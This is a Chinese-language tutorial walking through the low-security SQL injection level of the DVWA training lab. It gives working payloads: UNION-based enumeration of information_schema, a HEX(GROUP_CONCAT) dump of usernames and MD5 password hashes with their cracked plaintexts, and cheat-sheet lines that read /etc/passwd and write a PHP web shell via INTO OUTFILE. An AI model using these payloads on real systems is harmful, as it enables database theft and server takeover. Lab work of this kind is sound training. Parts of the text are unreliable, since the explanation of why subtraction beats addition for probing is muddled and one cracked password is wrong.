DVWA靶场保姆级通关教程--07SQL注入(上)
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
文章目录
-
目录
文章目录
前言--必知知识
常见SQL注入类型
1. 信息探测阶段(判断是否存在注入点)
2. 判断注入类型(可报错 / 盲注 / 联合)
3. 猜字段数(用于 UNION 注入)
4. 获取数据(数据提取阶段)
5. 深入利用
典型注入流程图
MySQL 中必须掌握的注入相关函数
信息架构表(information_schema)
SQL注入危害:SQL注入属于高危漏洞
1. SQL 注入的语法和行为差异
2. 探测注入点时的效果
3. 避免引发潜在的错误
4. 避免 SQL 语法错误
5. 兼容性和一致性
结论:
一、low级别源码分析
代码问题分析:
1)判断注入类型:
1. 报错 (id=1'):
2. 正常输出 (id=1' and '1'='1):
3. 没有响应 (id=1' and '1'='2):
4. 推断结果:
补充:1' OR '1' = '1'
2)判断字段数:
3)判断回显位置
4)获取表名:
5)获取字段中的信息:
解读(用户名 : 密码的 MD5 值):
前言--必知知识
提示:这里可以添加本文要记录的大概内容:
SQL注入(SQL Injection)是一种常见的Web安全漏洞攻击方式,攻击者通过在输入中注入恶意SQL语句,欺骗应用程序执行非预期的数据库操作,从而窃取、修改、删除数据库中的数据,甚至控制服务器。
常见SQL注入类型
类型 | 说明 |
---|---|
1. 基本注入 | 如 ' OR 1=1 -- 实现绕过 |
2. 联合查询注入(UNION) | 使用 UNION SELECT 获取其他表信息 |
3. 报错注入 | 利用数据库错误信息泄露数据 |
4. 布尔盲注 | 通过真假判断逐位获取数据 |
5. 时间盲注 | 使用 IF +SLEEP 判断数据是否正确 |
6. 二次注入 | 注入数据先存数据库,再在其他SQL中触发执行 |
SQL 注入的核心思路是:利用开发人员对用户输入处理不当的漏洞,将恶意 SQL 语句注入原本的数据库查询语句中,从而改变其逻辑,达到非法访问或操控数据库的目的。
下面是完整的 SQL 注入攻击思路,适用于学习、演练与防御视角:
1. 信息探测阶段(判断是否存在注入点)
-
尝试在输入位置输入
'
,"
,;
,--
等特殊符号,观察是否报错。 -
如:
输入:'
返回:SQL语法错误,说明存在注入点。
2. 判断注入类型(可报错 / 盲注 / 联合)
-
尝试构造测试语句,如:
-
' OR 1=1 --
(永真语句,绕过认证) -
AND 1=1
(正常) -
AND 1=2
(无结果) → 用于布尔型盲注判断
-
3. 猜字段数(用于 UNION 注入)
-
构造
ORDER BY n
语句,逐个试值:
' ORDER BY 1 -- ✔️
' ORDER BY 2 -- ✔️
' ORDER BY 5 -- ❌ 报错,说明字段数 < 5
4. 获取数据(数据提取阶段)
-
使用
UNION SELECT
查询:
' UNION SELECT null, username, password FROM users --
如果是盲注(页面无报错信息):
-
布尔盲注:
' AND (SELECT SUBSTRING(database(),1,1))='t' --
时间盲注:
' AND IF(SUBSTRING(database(),1,1)='t', SLEEP(5), 0) --
5. 深入利用
-
枚举数据库、表、字段:
SELECT schema_name FROM information_schema.schemata;
SELECT table_name FROM information_schema.tables WHERE table_schema='target_db';
SELECT column_name FROM information_schema.columns WHERE table_name='users';
典型注入流程图
MySQL 中必须掌握的注入相关函数
函数/语句 | 功能与用途 | 示例 |
---|---|---|
version() | 获取数据库版本 | SELECT version(); |
database() | 获取当前数据库名称 | SELECT database(); |
user() | 当前数据库用户 | SELECT user(); |
@@datadir | 数据库存储路径 | SELECT @@datadir; |
@@version_compile_os | 获取操作系统信息 | SELECT @@version_compile_os; |
length() | 获取字符串长度(用于盲注) | SELECT length(database()); |
substr() 或 substring() | 截取字符串(用于逐字盲注) | SELECT substr(database(),1,1); |
ascii() | 获取字符ASCII码(用于布尔盲注) | SELECT ascii(substr(database(),1,1)); |
concat() | 拼接多个字段 | SELECT concat(username, ':', password) FROM users; |
group_concat() | 一次拼接多条结果,适合导出表字段 | SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='users'; |
sleep(n) | 延迟(用于时间盲注) | SELECT IF(1=1, SLEEP(5), 0); |
load_file('/etc/passwd') | 读取文件内容(需要权限) | SELECT load_file('/etc/passwd'); |
into outfile | 写文件(如写 WebShell,需权限) | SELECT '<?php phpinfo();?>' INTO OUTFILE '/var/www/html/shell.php'; |
信息架构表(information_schema)
掌握 information_schema
是进行信息收集的关键步骤,常用表包括:
表名 | 描述 |
---|---|
schemata | 所有数据库名 |
tables | 所有表名 |
columns | 所有列名 |
-- 查询所有数据库
SELECT schema_name FROM information_schema.schemata;-- 查询某数据库下的所有表
SELECT table_name FROM information_schema.tables WHERE table_schema='target_db';-- 查询某表的所有字段
SELECT column_name FROM information_schema.columns WHERE table_name='users';
SQL注入危害:SQL注入属于高危漏洞
是一种常见的Web应用安全漏洞,攻击者可以通过向SQL查询中插入恶意代码来干扰数据库的正常操作,带来以下几方面的危害:
-
数据泄露:攻击者可以通过SQL注入漏洞访问敏感数据,如用户密码、信用卡信息、个人身份信息等,从而导致隐私泄露。
-
数据篡改:攻击者可以修改数据库中的数据,篡改用户的记录、删除重要数据,甚至破坏整个数据库结构。比如,通过注入SQL命令来修改用户账户余额、更新权限等。
-
数据库删除或破坏:攻击者可以执行删除操作,清除数据库中的重要数据,甚至完全销毁数据库。
-
远程命令执行:高级SQL注入攻击可以通过数据库执行操作系统命令,从而进一步获得服务器的控制权限,执行恶意代码或下载恶意软件。
-
权限提升:如果攻击者能够利用SQL注入漏洞,获取数据库管理员(DBA)权限,就能够拥有对整个系统的控制权限,进而执行任意SQL查询和管理操作。
-
拒绝服务(DoS):通过大量恶意SQL请求,攻击者可能造成数据库的负载过高,导致应用程序性能下降或甚至崩溃,影响正常的服务运作。
-
身份冒充:攻击者可以通过SQL注入伪造身份,冒充其他用户登录,执行与其身份相关的操作,从而绕过身份验证。
在 SQL 注入攻击的探测过程中,为什么攻击者通常使用减法(如 2-1
)而不是加法(如 2+1
)来测试注入点的有效性。
1. SQL 注入的语法和行为差异
-
减法:
2-1
在 SQL 中会被当作 算术表达式 计算,而 加法(2+1
)也会被计算。两者的计算结果相同,都是数字,因此加法和减法在基本的数字类型字段中并不会改变查询结果。但是,减法在某些情况下更容易暴露问题,特别是在某些 SQL 引擎的执行计划中。 -
加法:在某些数据库中,加法表达式可能会被 优化掉,或者由于隐式类型转换的原因,查询的执行可能不同。减法一般不会受到这些优化的影响。
2. 探测注入点时的效果
-
使用减法
2-1
来探测注入点时,通常能确保查询语句被执行。因为很多数据库系统会 自动处理减法,并返回一个有效的结果。如果输入2-1
后能正常返回结果,攻击者就可以确认该参数可能是注入点。 -
如果使用加法
2+1
,在一些情况下,数据库可能会 忽略或优化 这种简单的加法运算,导致探测不准确。加法的计算不会像减法那样在不同数据库系统中造成明显的行为差异。
3. 避免引发潜在的错误
-
减法 操作通常能确保 兼容性,特别是针对数字类型的字段。当输入
2-1
时,它会被认为是一个数学表达式并进行计算,通常不会引发 SQL 错误或异常(除非查询中有类型不匹配的问题)。 -
加法,虽然也会进行运算,但可能会因为数据库的优化策略或不同的 SQL 引擎表现出不同的行为,可能导致一些数据库对加法的处理不如减法直观,甚至可能被 优化掉。
4. 避免 SQL 语法错误
-
在探测 SQL 注入时,使用
2-1
作为探测输入可以避免一些 SQL 语法错误,因为许多 SQL 引擎会将其识别为合法的数学运算。相比之下,使用2+1
有时可能会受到数据库的内部优化或其他限制。
5. 兼容性和一致性
-
减法
2-1
在不同的数据库系统中处理时,通常 表现一致,它会被当作算术表达式处理并执行。相对来说,加法2+1
在某些数据库中可能会有细微的差异,特别是在查询优化或执行计划中。
结论:
-
减法 (
-
) 被优先使用,因为它在多数情况下会得到一个简单且可预测的结果(如0
或负数),并且不容易导致查询语法错误。 -
加法 (
+
) 虽然也可以用于测试注入点,但由于它可能导致不同的行为或结果变化,通常在探测时减少使用。 -
SQL注入探测的目标是确认注入点是否有效,因此攻击者会选择更容易确保一致性和可控性的方式,如减法。
提示:以下是本篇文章正文内容,下面案例可供参考
一、low级别源码分析
<?phpif( isset( $_REQUEST[ 'Submit' ] ) ) { // 检查表单是否提交// 获取输入$id = $_REQUEST[ 'id' ]; // 从请求中获取用户输入的'id'参数// 检查数据库$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; // 构建SQL查询,将用户输入的id直接插入到查询语句中$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // 执行SQL查询,如果查询失败则输出错误信息并终止执行// 获取结果while( $row = mysqli_fetch_assoc( $result ) ) { // 遍历查询结果// 获取值$first = $row["first_name"]; // 获取用户的名字$last = $row["last_name"]; // 获取用户的姓氏// 向用户反馈结果echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; // 输出查询到的用户信息}mysqli_close($GLOBALS["___mysqli_ston"]); // 关闭数据库连接
}?>
代码问题分析:
-
SQL注入漏洞:在这段代码中,
$id
参数直接被拼接到SQL查询字符串中,而没有经过任何的输入验证或转义处理。这使得攻击者可以通过向id
参数中注入恶意的SQL代码来操控数据库查询,执行不当操作。
1)判断注入类型:
输入1
查看返回数据:
继续输入:1 and 1 = 1 #
和 1 and 1 = 2 #
都能产生正常的输出admin,说明这个 id
参数可能并不是数值型的输入(因为构造的恒真或恒假的SQL语句并没有对输出逻辑产生影响,所以这至少不是数值型的SQL注入),而是接受 字符串型 或 混合类型 的数据。
还有别的判断方式比如:
输入 2-1
得到的结果和 id=2
是一样的,并且没有进行实际的计算,那么说明该输入被当作了 字符串 处理,而没有进行算术计算。这通常意味着:
-
输入没有被解析为数值型:SQL查询并未将输入
2-1
视为数学表达式,而是将其当作普通的字符串来处理。因此,输入2-1
被直接当作'2-1'
进行比较,而不是执行计算2 - 1
。 -
SQL查询可能存在隐式类型转换:在某些数据库系统中,如果字段(例如
user_id
)的数据类型与输入不匹配,数据库可能会进行隐式类型转换。例如,如果user_id
是整数类型,而输入是字符串(如'2-1'
),数据库可能会尝试将其转换为整数,但2-1
作为字符串会被转换为数字2
。这意味着id='2-1'
可能与id=2
匹配,最终返回相同的结果。 -
注入点存在漏洞:这种行为表明输入值并没有经过适当的验证或转义处理,导致你输入的内容被直接插入到SQL查询中,而没有执行预期的操作(如算术计算)。这种情况通常是 SQL注入漏洞 的体现。
补充:
输入 2-1
并且得到的结果是 id=1
,并且查询执行了数学计算,那么这确实表明存在 数值型的 SQL 注入点。
具体原因:
-
SQL 查询的计算行为:
-
当你输入
2-1
,并且查询执行了计算(例如,返回了id=1
),这意味着 SQL 查询能够理解并计算数学表达式,而不是把它当作纯粹的字符串来处理。这是 SQL 注入攻击中的 数值型注入 的典型表现。 -
比如,假设原本的 SQL 查询是:
SELECT first_name, last_name FROM users WHERE user_id = '$id';
如果
$id
是用户输入的内容,攻击者输入2-1
后,SQL 查询会变成:SELECT first_name, last_name FROM users WHERE user_id = 2-1;
SQL 会计算
2-1
的结果,得到1
,因此该查询会返回user_id=1
的记录。
-
-
数值型注入的表现:
-
这种情况说明查询的字段
user_id
被当作数值处理,而输入的2-1
被计算成1
,这就是 数值型 SQL 注入 的典型场景。 -
数值型注入通常发生在数据库字段类型是 整数 的情况下(例如
user_id
是整数类型)。当用户输入的内容(如2-1
)是一个数学表达式时,SQL 会自动计算并替换该表达式的结果(例如,2-1
被计算为1
)。
-
-
安全隐患:
-
如果 SQL 查询能够接受并计算这种表达式,而没有对输入进行充分验证和清理,那么就会导致 SQL 注入漏洞。
-
这种漏洞可以被攻击者利用进行更复杂的注入攻击,比如绕过身份验证、获取敏感数据,甚至是执行任意的 SQL 语句。
-
通过以上测试发现他不是数值型的SQL注入,那么继续判断是否为字符型的SQL注入
正常输入1,显示正常信息
1'
查看返回数据,回示报错:
如果是SQL盲注、则不会有任何回显,这种有回显的属于是比较好判断的情况
那么构造的SQL查询语句如下:
SELECT first_name, last_name FROM users WHERE user_id = '1'’;
确实会导致 SQL 错误,原因如下:
-
引号不匹配:
-
在 SQL 查询中,字符串需要被 单引号(
'
)包围。您的查询中,'1'
是一个合法的字符串,但查询的结尾是1'’
,这里的 第二个引号 是一个 错误的字符(可能是一个非标准的右引号’
而不是标准的单引号'
)。这会导致 SQL 语法错误。
-
-
不合法的字符:
-
SQL 语法要求字符串使用标准的单引号(
'
),而不是类似的引号字符(如’
)。数据库会在解析 SQL 语句时发现这个不匹配的引号,从而抛出错误。
-
继续输入1' and '1' ='1
,查看返回数据:
续输入1' and '1' ='2
,无响应,认为是报错:
输入 id=1'
报错,id=1' and '1'='1
正常,id=1' and '1'='2
没有响应,可以得出以下分析,这是字符型的SQL注入:
1. 报错 (id=1'):
-
输入
1'
使 SQL 查询产生语法错误。这表明user_id
字段可能是字符型(如VARCHAR
),并且 SQL 查询未对用户输入进行适当的转义或过滤。'
(单引号)在 SQL 中用于表示字符串,因此输入1'
会导致查询中的字符串引号不匹配,进而引发 SQL 错误。 -
这说明该输入没有被正确地转义,SQL 查询可能会被恶意操控,存在 SQL 注入漏洞。
2. 正常输出 (id=1' and '1'='1):
-
输入
1' and '1'='1
并返回正常输出,这表明 SQL 查询的条件user_id = '1'
后面追加了and '1'='1
,使得查询的 WHERE 子句变成了一个始终为 真 的条件:SELECT first_name, last_name FROM users WHERE user_id = '1' AND '1'='1';
-
由于
'1'='1'
始终为 真,这个查询会返回user_id = 1
的记录(如果存在)。这是典型的 SQL 注入 攻击方式,攻击者利用这种方式绕过原本的查询条件,从而获得不应该获得的结果。
3. 没有响应 (id=1' and '1'='2):
-
输入
1' and '1'='2
返回没有响应,这意味着 SQL 查询的条件变成了:SELECT first_name, last_name FROM users WHERE user_id = '1' AND '1'='2';
-
由于
'1'='2'
是 假 的,查询条件无法满足,因此查询不会返回任何记录。这是正常的行为,因为查询结果为空,或者数据库没有找到符合条件的记录。
4. 推断结果:
-
SQL 注入漏洞存在:当你输入
1'
导致语法错误,而输入1' and '1'='1
可以正常执行时,说明你的输入没有经过正确的过滤,数据库允许恶意输入修改查询逻辑,导致 SQL 注入漏洞。 -
数值型字段被当作字符型处理:
user_id
字段很可能是字符型字段(如VARCHAR
),否则1'
这样的输入通常会直接被数据库视为数值 1,而不会引发错误。 -
绕过验证:通过输入
1' and '1'='1
,攻击者能够绕过查询条件,获取数据库中的记录。 -
注入条件可能有效:根据查询的响应,
'1'='1'
和'1'='2'
等注入语句被正确执行,但查询结果根据条件的真假而有所不同。
补充:1' OR '1' = '1'
SELECT first_name, last_name FROM users WHERE user_id = '1' OR '1' = '1';
这种注入方式会绕过查询的条件,从而返回所有用户的数据,如下图所示:
2)判断字段数:
order by:使用order by 进行判断字段数, 直到order by n(n代表字段数)进行报错时候就可确定字段数为n-1;
输入1' order by 1#查看返回数据:查询users表中user_id为1的数据并按第该字段字段排序;按照Mysql语法,#后面会被注释掉,使用这种方法屏蔽掉后面的单引号,避免语法错误;
实际执行的SQL语句如下:
SELECT first_name, last_name FROM users WHERE user_id = '1' order by 1#;
以第二个字段排序依然显示正常
以第三个字段排序,报错,说明当前表正确的字段数为3-1=2个字段
3)判断回显位置
结合联合查询函数union select:
union 运算符可以将两个或两个以上 select 语句的查询结果集合合并成一个结果集合显示,即执行联合查询。需要注意在使用 union 查询的时候需要和主查询的列数相同,而我们之前已经知道了主查询列数为 2
输入1' union select database(),user()#进行查询 :
实际执行SQL语句为
SELECT first_name, last_name FROM users WHERE user_id = '1' union select database(),user()#;
这里显示了id=1的数据和联合查询的数据,也可以不显示SQL查询的数据比如,查询id=0或者负数的数据,那么原始查询不显示的时候,就会只显示我们构造的联合查询的数据,如图2
由此可以得到我们当前库是dvwa,用户是root在本机登录,当然联合查询也可以结合其他的SQL函数,如图3查询当前mysql版本信息
或者version()
获取当前数据库版本;@@version_compile_os
获取当前操作系统。这样的函数查询,可自行尝试
4)获取表名:
mysql大于5.0的版本:information_schema 是 mysql 自带的一张表,这张数据表保存了 Mysql 服务器所有数据库的信息,如数据库名,数据库的表,表栏的数据类型与访问权限等。该数据库拥有一个名为tables的数据表,该表包含两个字段 table_name和 table_schema,分别记录 DBMS 中的存储的表名和表名所在的数据库。
输入-1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#
或-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa' #进行查询:
实际执行的Sql语句是:
SELECT first_name, last_name FROM users WHERE user_id = '1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#`;
SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#;
发现报错: Illegal mix of collations for operation 'UNION'
参考链接:解决 'Illegal mix of collations for operation 'UNION'' 错误-百度开发者中心
解决办法: 是因为编码的问题,进一步搜索发现可以通过下载PhpMyAdmin来修改编码,具体步骤如下:(如果该方法失败,那么可以参考DVWA 靶场 SQL 注入报错 Illegal mix of collations for operation ‘UNION‘ 的解决方案_illegal mix of collations for operation 'union-CSDN博客我最终参考这个博文解决了问题)
1)打开phpstudy_pro
,下载phpMyadmin
:
再来到首页,打开数据库管理工具:
点击数据库dvwa,操作,排序规则将原来的编码改成 “utf8_general_ci”
,勾选更改所有表排序规则,执行,重启phpstudy_pro
和dvwa
;
按照下图所示进行修改
输入-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa' #进行查询结果如下
- 通过上图返回信息,我们再获取到:
dvwa
数据库有两个数据表,分别是guestbook
和users
。
5)获取字段中的信息:
猜测users
表的字段名,用 GROUP_CONCAT
和 HEX()
一次性拿下所有字段名::-1' UNION SELECT HEX(GROUP_CONCAT(column_name)), NULL FROM information_schema.columns WHERE table_name='users' #
注意表名加
当你在 SQL 注入中想输出多个字段值时,希望将它们拼接后统一转成一个十六进制字符串,以避免字段数不一致的问题和内容显示不全。
这是一个非常实用且常用的技巧,适用于 UNION 查询、报错注入、盲注爆破等各种注入方式中
这里会得到一个很长的16进制数输出
757365725F69642C66697273745F6E616D652C6C6173745F6E616D652C757365722C70617373776F72642C6176617461722C6C6173745F6C6F67696E2C6661696C65645F6C6F67696E2C555345522C43555252454E545F434F4E4E454354494F4E532C544F54414C5F434F4E4E454354494F4E532C69642C757365726E616D652C70617373776F72642C6C6576656C2C69642C757365726E616D652C70617373776F7264
利用工具或者AI转换一下:md5在线解密破解,md5解密加密
得到的字段名如下:
user_id,first_name,last_name,user,password,avatar,last_login,failed_login,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,level,id,username,password
其中我们想知道哪些字段都可以查询,一般来说对username,password比较感兴趣
5)获取字段中的信息:
猜测users
表的字段为 user
和 password
,所以输入:-1' UNION SELECT HEX(GROUP_CONCAT(CONCAT(user, ':', password) SEPARATOR 0x2c)), NULL FROM users #
得到如下的16进制字符串:
61646D696E3A35663464636333623561613736356436316438333237646562383832636639392C676F72646F6E623A65393961313863343238636233386435663236303835333637383932326530332C313333373A38643335333364373561653263333936366437653064346663633639323136622C7061626C6F3A30643130376430396635626265343063616465336465356337316539653962372C736D697468793A3566346463633362356161373635643631643833323764656238383263663939
我们将它进行解码后,得到原始的字符串内容如下:
admin:5f4dcc3b5aa765d61d8327deb882cf99,gordonb:e99a18c428cb38d5f260853678922e03,1337:8d3533d75ae2c3966d7e0d4fcc69216b,pablo:0d107d09f5bbe40cade3de5c71e9e9b7,smithy:5f4dcc3b5aa765d61d8327deb882cf99
结合MD5转换md5在线解密破解,md5解密加密或者AI得到密码的明文结果
解读(用户名 : 密码的 MD5 值):
用户名 | 密码(MD5) | 明文密码(若知) |
---|---|---|
admin | 5f4dcc3b5aa765d61d8327deb882cf99 | password |
gordonb | e99a18c428cb38d5f260853678922e03 | abc123 |
1337 | 8d3533d75ae2c3966d7e0d4fcc69216b | letmein |
pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 | letmein |
smithy | 5f4dcc3b5aa765d61d8327deb882cf99 | password |